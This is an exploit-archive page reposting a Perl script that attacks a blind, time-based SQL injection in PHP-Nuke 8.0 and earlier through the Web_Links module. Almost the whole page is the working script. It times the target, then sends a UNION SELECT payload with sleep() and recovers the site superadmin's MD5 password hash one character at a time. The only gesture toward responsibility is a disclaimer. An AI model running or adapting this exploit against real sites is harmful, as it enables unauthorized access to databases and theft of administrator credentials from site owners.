Home / os / win7

PHP-Nuke <= 8.0 (Web_Links Module) Remote Blind SQL Injec

Posted on 10 July 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>PHP-Nuke &lt;= 8.0 (Web_Links Module) Remote Blind SQL Injection Exploit</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>=====================================================================
PHP-Nuke &lt;= 8.0 (Web_Links Module) Remote Blind SQL Injection Exploit 
=====================================================================


# PHP-Nuke &lt;= 8.0 (Web_Links Module) Remote Blind SQL Injection Exploit
# Author: yawn
# Contact Me: http://www.unitx.net
# E-Mail: yawn@unitx.net
# Requirements: magic_quotes_gpc : off
# Greetings: #0day@irc.iside.us | #Unit-X@irc.unitx.net | Dante90
 
#   He had but little gold within his suitcase;
#   But all that he might borrow from a friend
#   On books and learning he would swiftly spend,
#                  -- Geoffrey Chaucer, The Clerk
 
 
use strict;
use warnings;
use LWP::UserAgent;
 
sub Nuke::Bench {
    my $hosto = $_;
        my $website = LWP::UserAgent-&gt;new;
        my $average = 0;
        print &quot;[+] Calculating average load time (it may take a while) ...
&quot;;
        for (my $i = 0; $i &lt; 5 ; $i++) {
                my $bef = time();
                my $out = $website-&gt;get($hosto);
                my $time = time();
                $average += int($time-$bef);
        }
        return $average/5;
}
 
sub Nuke::Usage() {
        print &quot;[+] Usage: perl nuke.pl &lt;host&gt;
&quot;;
        print &quot;[+]        the host must be the complete path to modules.php
&quot;;
        print &quot;[+] Example: perl nuke.pl http://www.site.com/modules.php
&quot;;
}
 
sub Nuke::Banner() {
        print &quot;[+] Remote Blind SQL Injection (Benchmark Mode) PHP-Nuke 8.0
&quot;;
        print &quot;[+] I'm not responsable for an illegal use of this exploit
&quot;;
        print &quot;[+] Date: 06-02-2010
&quot;;
        print &quot;[+] Author: yawn
&quot;;
}
Nuke::Banner();
my $host = shift || die Nuke::Usage();
$host .= &quot;?name=Web_Links&amp;l_op=Add&amp;title=WTF&amp;description=WTF&quot;;
my $time = Nuke::Bench($host);
my $attack = LWP::UserAgent-&gt;new;
my $pass = &quot;&quot;;
$attack-&gt;agent('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)
Gecko/20100407 Ubuntu/9.04 (jaunty) Shiretoko/3.5.9');
my @charset  =  (48..57, 97..102);
print &quot;[+] Average load time is $time
&quot;;
print &quot;[+] Trying to exploit the SQL Injection
&quot;;
 
for (my $j = 1; $j &lt;=32; $j++) {
    sleep(3);
    foreach (@charset) {
        sleep(2);
        print &quot;[+] Now trying with $_ 
&quot;;
        my $before = time();
        my $resp = $attack-&gt;post($host,
        { url =&gt; &quot;'/**/UNION SELECT
IF(SUBSTRING(pwd,$j,1)=CHAR($_),sleep(6),null) FROM nuke_authors WHERE
radminsuper='1&quot; },
        Referer =&gt; $host);
        my $after = time();
        if(int($after-$before) &gt; ($time + 4)) {
            print &quot;[+] Success with &quot;.chr($_).&quot;
&quot;;
            $pass .= chr($_);
            last;
        }
    }
}
print &quot;[+] MD5 Hash : $pass
&quot;;


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-07-10]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :